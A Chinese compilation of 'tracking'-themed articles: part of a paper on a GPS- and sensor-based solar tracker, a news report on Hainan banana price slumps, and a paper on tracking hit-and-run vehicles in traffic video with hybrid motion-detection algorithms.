系统的控制程序主要由主程序、中断程序以及若干子程序组成。主程序在读取完系统配置信息后由一个大的循环语句组成,该循环主要读取并解析当前GPS信号、读取加速度传感器信号、写入数据到E2PROM以及系统状态的逻辑控制。中断程序主要用于读取PSD数据、系统状态标志位的变换以及电机驱动控制。若干子程序包括各类传感器模块的驱动子程序以及一些算法子程序,其中算法包括天文解析算法、PID控制以及CRC校验等[4]。

2.2 系统控制流程

系统的控制流程图如图6所示。左右两侧各为系统的两个状态流程[5]。

系统启动并初始化配置,从E2PROM中读取当前水平角度信息以及PSD传感器基准值信息;接下来读取GPS信号并解析,通过天文算法算出当前太阳的高度角以及相对南方的偏角;之后开始驱动垂直步进电机定位好高度角,驱动水平步进电机定位好水平角,直到追踪到预期位置完成粗粒度定位。

系统在定位追踪的过程中会不断地读取PSD传感器的数值,若某一次读到的数值处于精调范围,则系统立即进入精粒度追踪模式[6],执行精粒度调整子程序。

若左右扫描过程中没有进入精粒度调整范围,则系统开始进入粗粒度追踪模式,该模式主要由GPS算出太阳当前高度角和方位角,然后系统执行粗粒度定位。大约每四分钟会定位一次,直到进入精调范围则执行精粒度追踪。若粗粒度追踪时间大于预设阈值,则程序回到左右扫描的过程继续执行。

在主程序不断循环过程中,系统也是间隔地读取GPS信号,若检测到当前时间处于系统下班时间,则系统会立即执行下班复位程序。系统下班后,进入低功耗运行模式,并定期读取当前时间信息[7]。若检测到当前处于上班时间,系统会从低功耗模式恢复并从主程序开始处继续执行。

3 结果及讨论

本文实现了一套太阳追踪系统,并对其运行情况以及采集出来的数据进行观察和分析。

3.1 精粒度追踪效果

系统的PSD传感器采用了小孔成像的方式来感应太阳,所以其感应灵敏度和追踪精度是很高的。首先观察精粒度追踪下输出光功率随着时间变化的情况,如图7所示。选取精粒度追踪下一段时间内输出的光通量平均值作为100%的基准值,其他数值与该值的比值作为纵坐标读数。可以看出精粒度追踪下输出的光功率波动幅度始终保持在1.0%以内,输出非常稳定。

3.2 粗粒度追踪效果

系统前期通过GPS数据进行太阳轨迹的粗粒度追踪误差相对是比较大的。本文通过实验记录了系统完全在粗粒度追踪下的室内光强数据,并与精粒度追踪下室内光强数据进行对比,如图8所示。可以看出,一天之内,粗粒度追踪的光照读数的连线轨迹效果整体与精粒度追踪曲线保持一致,并保持大约340流明的光照强度差值。误差的一致性说明天文解析算法的可靠性,所以利用GPS进行太阳轨迹的粗粒度定位可以迅速的找到太阳大致位置。

3.3 综合运行效果

通过对系统运行六个月以来的观察发现,系统主要耗时集中在粗粒度定位、扫描以及粗粒度调整中。系统结合GPS进行粗粒度定位能够以最快的速度定位到太阳大致方位,再结合PSD传感器进行细粒度定位便能准确地追踪太阳。

4 结论

本文设计和制作了高精度太阳追踪系统。系统在追踪速度和精准度方面做了很多优化,采用小孔成像方式提高了精准度,另外用GPS进行粗粒度定位也加快了系统的追踪速度。本系统经实验测定,完全满足2 400倍聚光的要求[8],可广泛应用于太阳能相关领域。

摘要：太阳追踪系统通过对太阳位置进行定位并进行实时追踪,在新能源行业得到了广泛应用。利用传感器实现了一种高精度太阳追踪系统,该系统用GPS对太阳位置进行粗定位,再通过基于小孔的PSD传感器对太阳进行精细的自动追踪。系统对传感器做了优化设计,保证了追踪精度;采用粗定位与精度结合的方式,对追踪算法做了优化设计,从而提高了追踪速度。

关键词：高精度,太阳追踪,GPS,PSD传感器,控制算法

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海南香蕉“卖难”追踪 篇11

近年来连续出现的海南香蕉、辣椒等农产品滞销、“农民卖不掉、市民买不起”怪圈一再出现。记者调查发现，缺乏科学种植指导、产销脱节是农产品滞销“卖难”的主要原因，而流通环节过多和中间商操纵价格则导致终端零售价居高不下。专家认为，解决这一问题还需“有形之手”发力，强化农业组织化、缩短流通链条。

产销价格“冰火两重天”

自今年5月底以来，海南香蕉收购价格快速下滑，地头平均价每公斤最低跌至0.4元，远远低于生产成本价，与此同时，海南部分大型超市和零售摊价格却一度保持每公斤5元至6元的高价。产销价格呈现“冰火两重天”的格局。

记者近期在海南乐东、三亚、澄迈等香蕉产地采访时发现，绝大多数的蕉农都面临香蕉“卖难”问题，大量即将成熟的香蕉挂在枝头或者被采收下来堆在田头无人收购，蕉农一筹莫展。

海南乐东黎族自治县万冲镇几名来自广西的蕉农面对刚摘下来的香蕉愁容满面。“香蕉摘下来已经好几天，马上就要熟了，但是没人收购，我们非常焦虑”。蕉农黄甫军告诉记者，“我们种植香蕉的成本大约每公斤0.8元，每株香蕉大约25公斤至30公斤，现在即使每株2元都没人要，还不如拿去喂猪。”

澄迈县大丰镇美玉村几乎家家户户种植香蕉，村委会主任郑所芳告诉记者，村里总共种了大概2500亩，“今年亏大本，农民自己的工、自己的地都要亏，更不用说那些承包土地和雇佣工人的种蕉大户了，种得越多，亏得越多。”由于村里没有合作社，都是收购商通过“代办”来田间地头收购，价格一度跌至每公斤0.4元至0.6元左右，而种植成本每公斤为1.4元左右。

在蕉农为香蕉卖不出去而感到“心焦”的同时，香蕉的终端零售市场却是完全相反的场景。记者在海口部分超市和零售摊贩了解到，海南本地产的香蕉卖价一度达到每公斤5元以上，买者少之又少。市民王先生笑称，香蕉太贵“买不起”，而且现在上市的水果品种多，香蕉也不是非吃不可。

不仅是香蕉，海南蔬菜近年来也多次出现过类似的情况。海南人坐守“菜园子”却吃“高价菜”，给海南岛带来不少尴尬。零售价与收购价悬殊的高差价，让菜农蔬菜日益“卖难”，市民愈加“买难”，“菜篮子”越拎越沉。

盲目种植 流通不畅

过去10年间，海南香蕉出现过3次严重滞销的惨淡行情。有关专家介绍，香蕉行情大落原因有多种，但盲目跟风扩大种植面积，香蕉短期内集中上市、供过于求是主因。

据海南省农业厅南亚热作办主任蒙绪儒介绍，2010年海南香蕉种植面积明显增多，今年可采收面积至少85万亩，比去年多出15万亩，产量预计可达170万至190万吨，是海南香蕉市场受2007年“香蕉致癌事件”影响低迷后的种植高峰。

蒙绪儒说，海南香蕉是典型热带高效产业，正常情况下，每亩香蕉利润为4000元至6000元。2008年至2010年，海南香蕉连续3年行情高涨，不少人种香蕉利润超过100％，甚至出现1亩香蕉赚1万元的超高利润，结果诱发严重的盲目跟风种植现象，甚至一些房地产开发商也转行种香蕉，致使2010年香蕉种植面积增长过快，今年供应量过大。

蕉农黄维秀在澄迈县大丰镇美玉村承包土地种植香蕉5年，“2年赚钱，3年亏本。”黄维秀说：“蕉农其实比较盲目，今年行情好，明年就多种一点。行情不好，明年就少种一点。”他自己今年扩种100亩，却没有料到香蕉行情与去年有天壤之别。

蒙绪儒说，除了种植面积过快增长，海南、广东等地春蕉和夏蕉叠加集中上市，造成香蕉市场饱和、供大于求，诱发香蕉价格“跳水”。海南香蕉在全国占有季节优势，作为我国春蕉和夏蕉的主产地，集中上市期一般在3月至6月。由于年初低温寡照天气影响，海南春蕉的采收时间推迟了20至30天，原本应在4月上市的春蕉又和夏蕉上市时间“撞车”，导致香蕉的出岛量猛增。

盲目种植和扎堆上市导致香蕉收购价格“一泻千里”，终端零售市场价格居高不下则是由于流通环节层层加价、流通环节成本不断提升所致。

来自广西的收购商黎少萍从2003年就开始在海南收购香蕉，她告诉记者，这些年香蕉价格一直不稳定，今年她的收购价格压到了每公斤0.12元到0.15元左右，也很难保证盈利。她给记者算了一笔账，她在农户手中收购后运到河南，每吨运费500元，一车33吨，运费就1万多元，必须卖到每公斤1.7元才不亏本，但有时出手价格只能达到每公斤1.6元。

缩小差距需“有形之手”发力

业内人士认为，破解产销地农产品价格悬殊的“怪象”，还需“有形之手”果断发力，大力推广订单农业，提高农业组织化程度，缩短流通链条。

海南省香蕉研究所所长甘东泉说，目前农产品市场经营体系还很不健全，一些中小种植户对于价格波动异常敏感。甘东泉说，这种情况的出现，与广大香蕉种植户缺乏市场信息，农业组织化程度不高有很大的关系。市场信息的不对称容易导致农民不科学种植，盲目跟风，对市场前景无法准确判断。而较低的农业组织化程度则使得农民力量分散，无法联合起来对抗风险。

系统追踪 篇12

目前对于交通肇事逃逸事件, 追踪难度很大, 往往需要人工一帧一帧的对比图像, 来追踪肇事车辆的逃逸方向, 给警方破案带来了很大困难。如何利用现有的运动目标检测技术, 开发高效、实用的肇事车辆追踪、识别系统, 具有一定的实际意义和价值。目前运动目标的检测方法主要有帧差分算法、背景差分算法和光流算法。文献[1]利用帧差分得到运动目标最大的可能区域, 有很好的环境适应性, 但如果目标运动速度快, 会出现空洞或重复检测;文献[2]利用背景差分得到完整的追踪目标信息, 但容易受到光照变化的影响;文献[3]通过光流法计算分离运动目标和背景, 可以捕捉到运动的目标, 但计算难度大, 无法实现高速实时检测。

本文针对目前肇事车辆追踪难题和传统算法检测精度低、速度慢的缺陷, 设计了一个基于混合智能算法的肇事车辆追踪系统。充分利用帧差分法良好的环境适应性和背景差分法的目标检测准确性, 缩小目标检测区域, 再结合光流算法捕捉运动目标, 即克服了空洞、重复检测和光照影响的缺陷, 又降低了时间复杂度, 提高了检测速度。实验结果表明, 与传统算法相比, 该系统能够快速、准确的追踪肇事车辆, 具有很强的有效性和实用性。

1 运动目标提取

运动目标可以通过算法从大量的视频图像中检测出变化区域并将目标提取出来, 但视频采集的数据量巨大, 运算时间复杂度高, 难以实现实时检测, 而且由于天气、风力、光照等影响存在场景变化, 提取运动的目标更加困难。运动目标检测分为摄像头静止和摄像头运动两种情况, 由于本文中肇事车辆追踪系统使用的是各交通路口的固定摄像头, 所以仅研究前者的检测算法。为提高检测速度达到实时性, 又能够精确获取运动目标, 可充分利用帧差分法良好的环境适应性、背景差分法的目标检测准确性以及光流算法的优点, 采用帧差分法、背景差分法、光流算法三者智能混合算法实现。

1.1 帧差分法

帧差分法是目前最常用的运动目标检测方法[4], 它通过提取连续的两帧或三帧图像, 使用像素减法公式计算差值图像, 然后对其二值化, 从而提取运动区域。三帧图像帧图像Ii-1, Ii, Ii+1, 设定阀值T, 计算差值图像d的差值公式:

然后对其二值化得到b:

从而得到运动目标图像。但算法存在缺陷, 受环境变化的影响大, 对复杂的运动目标, 会产生空洞, 重复检测等问题, 无法准确的提取运动目标[5]。

1.2 背景差分法

背景差分法通过当前帧图像和背景图像相减得到运动区域, 目标检测具有很好的准确性。对上面帧差分法得到的运动区域进行背景更新, 公式为:

根据上面公式通过m (设定的最大迭代次数) 次迭代后, 得到精确背景图像Bi (x, y) , 其中α为迭代加速系数。然后当前帧与背景相减得到目标图像d’:

DBi (x, y) 表示二值化后的目标图像像素灰度值。由于只对感兴趣区域进行更新, 大大减少了计算复杂度, 能够达到实时监测的目的。

1.3 光流计算和提取

光流是二维速度矢量在三维速度平面上的投影, 是二维瞬时速度场。如果给图像中每一个像素一个速度, 就构成了一个图像运动速度场。在运动的某一时刻, 图像上的每一个点与运动的三维目标上的点存在一一映射, 这种映射关系通过投影即可得到。光流矢量是指二维图像坐标点上的灰度瞬时变化率。光流场 (optical flow field) 是一个二维矢量场, 是指图像灰度模式的表观运动, 它包含的信息即是各像点的瞬时运动速度矢量信息。光流场可以从序列图像中近似计算不能直接得到的运动场。光流场可以简单的理解为物体的速度矢量场, 包括两个分量u, v。设平面上有一点 (x, y) , 它代表的是场景中某一点 (x, y, z) 在图像平面上的投影, 该点在时刻t的灰度值为I (x, y, t) 。假定该点在 (t+△t) 时运动到 (x+△x, y+△y) , 在很短的时间间隔△t内灰度值保持不变, 即:

其中, u, v分别是该点的光流的x, y方向上的分量。假设亮度I (x, y) 随时间t平滑变化, 可以将上式按泰勒公式展开, 得到:

其中e包括△x, △y, △t的二次以上的项, 上式消去I (x, y, t) , 用△t除等式两边, 并取△t→0的极限后, 可求得光流约束方程:

此式可简写为:

而光流有两个分量u, v, 但是一个方程, 两个未知数, 需要另外的约束条件[6]。

2 肇事车辆追踪系统

本文以摄像机静止目标运动为研究对象, 首先利用帧差分法目标最大的可能区域差值图像, 再利用背景差分法精确提取感兴趣的目标区域, 然后使用光流法计算差值图像中目标区域特征点的光流。整体算法步骤:

1) 对采集到的视频图像去噪、平滑、增强等预处理[7], 如图1 (a) 所示。

2) 采用帧差分算法及增强处理, 得到目标最大的可能区域差值图像。提取连续的三帧图像Ii-1, Ii, Ii+1, 计算差值图像d, 设定阀值T, 二值化后得到二值图像b如图1 (b) 所示, 对得到的二值图像进行滤波、去噪, 然后平面投影, 提取目标最大的可能区域, 为确保目标的完整性, 矩形区域的长和宽在原有的基础 (W, H) 上增加N个像素, N可通过实验获得适合值。

得到感兴趣的矩形区域如图1 (c) 所示。

3) 采用背景差分算法获取精确的目标区域, 并标注。由上面感兴趣的矩形区域图像更新背景图像B, 取最大迭代次数m=100, α=0.003。然后当前帧与背景相减得到目标图像d’。在此只对感兴趣区域进行更新, 大大减少了计算复杂度, 能够达到实时监测的目的。

4) 进行光流计算及形态滤波[8], 使用光流聚类提取目标。在图像平面内足够小的区域ROI内, 而且在足够短的时间间隔内, 两帧图像间的运动可以近似为线性的, 利用最小二乘得到光流场:

由于光流场存在不连续性和不可靠性, 以及出现噪声, 因此设定阀值函数ε, 当其超过该值时, 不再提取光流, 否则提取光流用红色箭头标注, 如图1 (d) 所示。

5) 目标跟踪和速度计算。

3 实验结果

实验采用某城市交通路口摄像头拍摄视频, 视频分辨率是640×480, 摄像头本身具有噪声, 且环境中有光照变化, 空气流动, 背景中色彩复杂, 图像均为摄像头静止, 目标运动, 算法在VC++下编写实现。分别对帧差分法、背景差分法、光流法和本文方法进行对比实验, 实验结果如表1所示。

从表中实验结果可以看出, 本文方法运算速度大大提高, 准确度均高于其他三种方法。本文提出的使用采用帧差分法得到运动区域, 利用背景差分法提取精确的目标, 从而减少了计算复杂度, 重建速度增加, 然后提取目标特征点处的光流并对兴趣区域标注, 使追踪目标的准确度提高。实验结果表明, 该方法是有效可行的。

4 结论

本文针对目前肇事车辆追踪难题和传统算法检测精度低、速度慢的缺陷, 设计了一个基于混合智能算法的肇事车辆追踪系统。充分利用帧差分法良好的环境适应性和背景差分法的目标检测准确性, 采用帧差分法得到感兴趣的目标运动区域, 再通过背景差分法更新得到精确的目标图像, 然后计算目标图像特征点处的光流并对兴趣区域标注, 从而使计算出的光流更精确可靠, 即克服了空洞、重复检测和光照影响的缺陷, 又降低了时间复杂度, 提高了检测速度。实验结果表明, 与传统算法相比, 该系统能够快速、准确的追踪肇事车辆, 减轻了警方追查肇事逃逸车辆的难度, 具有很强的有效性和实用性。

参考文献

[1]Ha J E.Foreground objects detection using multiple differenceimages[J].Optical Engineering, 2010, 49 (4) :047201-1-047201-5.

[2]Jodoin P M, Mignotte M, Konrad J.Statistical backgroundsubtraction using spatial cues[C].IEEE Transactions on Circuitsand Systems for Video Technology, 2007, 17 (12) :1758-1763.

[3]Dessauer M P, Dua S.Optical flow object detection, motionestimation, and tracking on moving vehicles using waveletdecompositions[J].Proc SPIE, 2010:76-94.

[4]屠礼芬, 仲思东, 彭祺.基于混合差分法的运动目标检测[J].科学技术与工程, 2012, 12 (2) :325-329.

[5]刘志宇, 王冠军.智能交通检测系统中动态目标检测方法研究[J].计算机应用与软件, 2010, 27 (1) :29-31.

[6]程一玮.基于ARM的运动目标跟踪系统的设计与实现[J].制造业自动化, 2012, 34 (7) :94-96.

[7]朱青, 刘宏立, 陈炳权, 李劲菊, 万琴, 孙猛, 袁小芳.Animproved method for multiple targets tracking[J].Journalof Central South University, 2012, (10) :2852-2859.